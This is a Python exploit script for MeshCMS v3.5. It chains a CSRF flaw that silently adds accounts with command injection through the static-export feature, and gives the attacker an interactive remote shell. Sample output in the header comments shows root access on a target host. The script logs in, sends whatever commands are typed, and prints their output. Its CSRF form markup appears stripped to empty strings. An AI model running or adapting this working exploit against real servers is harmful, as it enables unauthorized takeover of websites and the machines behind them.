#!/usr/bin/python # MeshCMS v3.5 remote code execution exploit # Environment: # Tomcat 7.02/ubuntu 10.04 # # 1) details: # There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. # The admin will not be told a user has been added and will land into the admin console without any other suspicion. # Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the # private/[username].xml config file required for the users authentication. # # 2) details: # The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. # This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code. # # Further notes: # If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root. # This exploit will attempt to target both 1) and 2). # # Usage: # [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member # # | ------------------------------------------ | # | MeshCMS v3.5 Remote Code Execution Explo!t | # | by mr_me - net-ninja.net ----------------- | # # (+) Writing CSRF.. # (!) Done! check index.html # [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member # # | ------------------------------------------ | # | MeshCMS v3.5 Remote Code Execution Explo!t | # | by mr_me - net-ninja.net ----------------- | # # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Logging into CMS.. Logged in successfully # (+) Be patient, the first few requests are slow. # (+) Entering interactive remote console (q for quit) # # mr_me@192.168.1.15:8080# id # # uid=0(root) gid=0(root) groups=0(root) # # mr_me@192.168.1.15:8080# uname -a # # Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux # # mr_me@192.168.1.15:8080# q import sys, urllib, re, urllib2, getpass from optparse import OptionParser from random import choice from cookielib import CookieJar usage = "./%prog [] -t [target] -d [directory] -u [user] -P [password]" usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member" usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy ") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server ") parser.add_option("-d", type="string", action="store", dest="dirPath", help="Directory path to the CMS") parser.add_option("-u", type="string", action="store", dest="username", help="Member/Editor/Admin username") parser.add_option("-P", type="string", action="store", dest="password", help="Member/Editor/Admin password") parser.add_option("-c", action="store_true", dest="csrf", help="Create the add member CSRF") parser.add_option("-e", action="store_true", dest="exploit", help="Exploit the target with a shell (requires a valid account)") (options, args) = parser.parse_args() def banner(): print "\n\t| ------------------------------------------ |" print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |" print "\t| by mr_me - net-ninja.net ----------------- |\n" if len(sys.argv) < 9: banner() parser.print_help() sys.exit(1) agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)", "Microsoft Internet Explorer/4.0b1 (Windows 95)", "Opera/8.00 (Windows NT 5.1; U; en)"] def getProxy(): try: proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) except(socket.timeout): print "\n(-) Proxy timed out" sys.exit(1) return proxy_handler def testProxy(): sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() opener = urllib2.build_opener(getProxy()) try: check = opener.open("http://www.google.com").read() except: check = 0 pass if check >= 1: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) def writeCsrf(): print "(+) Writing CSRF.." csrf = ("" "
" "" "" "" "" "
" % (options.target, options.dirPath, options.username, options.password, options.password)) try: mycsrf = open("index.html", "w") mycsrf.write(csrf) mycsrf.close() except: print "(-) Failed writing csrf.. exiting." print "(!) Done! check index.html" def interactiveAttack(opener): print "(+) Be patient, the first few requests are slow." print "(+) Entering interactive remote console (q for quit)\n" hn = "%s@%s# " % (getpass.getuser(), options.target) cmd = "" while cmd != 'q': try: cmd = raw_input(hn) cmd = '+'.join(cmd.split()) sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/" "admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true" % (options.target, options.dirPath, options.target, options.dirPath, cmd)) try: check = opener.open(sploit).read() except urllib2.HTTPError, error: check = error.read() pass try: resp = check.split("standard output:")[1].split("end of standard output")[0] print resp except: pass except: break print "\n(-) Exiting.." def doLogin(): sys.stdout.write("(+) Logging into CMS.. ") sys.stdout.flush() adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp" values = {'username' : options.username, 'password' : options.password } data = urllib.urlencode(values) cj = CookieJar() if options.proxy: try: opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj)) check = opener.open(adminIndex, data).read() except: print "\n(-) Proxy connection failed to remote target" sys.exit(1) else: try: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) check = opener.open(adminIndex, data).read() except: print "(-) Target connection failed, check your address" sys.exit(1) if re.search("Login successful", check): sys.stdout.write("Logged in successfully\n") sys.stdout.flush() else: sys.stdout.write("Login Failed! Exiting..\n") sys.stdout.flush() sys.exit(1) return opener if __name__ == "__main__": banner() if options.exploit: if options.proxy: testProxy() myopener = doLogin() interactiveAttack(myopener) elif options.csrf: writeCsrf() addadmin = ""